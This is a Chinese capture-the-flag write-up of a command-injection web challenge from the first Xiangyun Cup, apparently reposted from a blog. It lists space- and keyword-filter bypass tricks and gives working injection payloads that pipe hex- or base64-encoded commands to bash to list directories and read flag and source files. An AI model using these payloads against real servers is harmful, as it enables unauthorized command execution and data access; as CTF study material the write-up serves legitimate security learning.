首届祥云杯web之command WP

首届祥云杯web之command WP

写WP时题目过期没法下发了。。。,截图只留下了几张,记录下思路

拿到题目随便输入请求,发现url参数,以为是SSRF,先把本地端口跑了一遍没啥结果

结合题目command,尝试输入命令,发现有空格弹窗nonono,确定是命令注入进行绕过

通过fuzz发现& ; && $ { [ /以及空格被过滤,| ||没被过滤

查阅资料发现空格可用以下方案代替:

$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20
%09 

结合过滤的字符,发现%09可成功绕过,尝试构造payload读取index.php源码

// ||分隔符:左边命令执行失败时才会执行右边的命令
?url=127||cat%09index.php

发现index cat php关键字也被过滤,绕过关键字的方法

ca\t y1n\g.php        反斜线绕过
cat y1"ng.php        两个单引号绕过
echo "Y2F0IHkxbmcucGhw" | base64 -d | bash       base64编码绕过(引号可以去掉)
echo "6361742079316E672E706870" | xxd -r -p | bash       hex编码绕过(引号可以去掉)
cat y1[n]g.php       用[]匹配
cat y1n*       用*匹配任意
内联执行

最终payload:即可拿到index.php源码,这里没保存下来。。

?url=127||ca\t%09in\dex.ph\p

接着在/etc中找到flag的位置

image-20201123155158726

可以发现这个.findflag是一个目录,所以还需进一步拿到flag文件名,通过阅读源码,发现若要绕过flag关键字,必须进行编码,这里使用hex编码读取flag文件名

payload:

//'ls -al ../../../etc/.findflag' 进行hex编码

url=127||echo%09"6C73202D616C202E2E2F2E2E2F2E2E2F6574632F2E66696E64666C6167"%09|%09xxd%09-r%09-p%09|%09bas\h

响应包中可以看到文件名为flag.txt

读取flag

//'cat ../../../etc/.findflag/flag.txt' 进行hex编码

url=127||echo%09"636174202E2E2F2E2E2F2E2E2F6574632F2E66696E64666C61672F666C61672E747874"%09|%09xxd%09-r%09-p%09|%09bas\h

image-20201123155220695

参考:

简析GXY_CTF “Ping Ping Ping”命令执行

猜你喜欢

转载自blog.csdn.net/weixin_39664643/article/details/109999923
今日推荐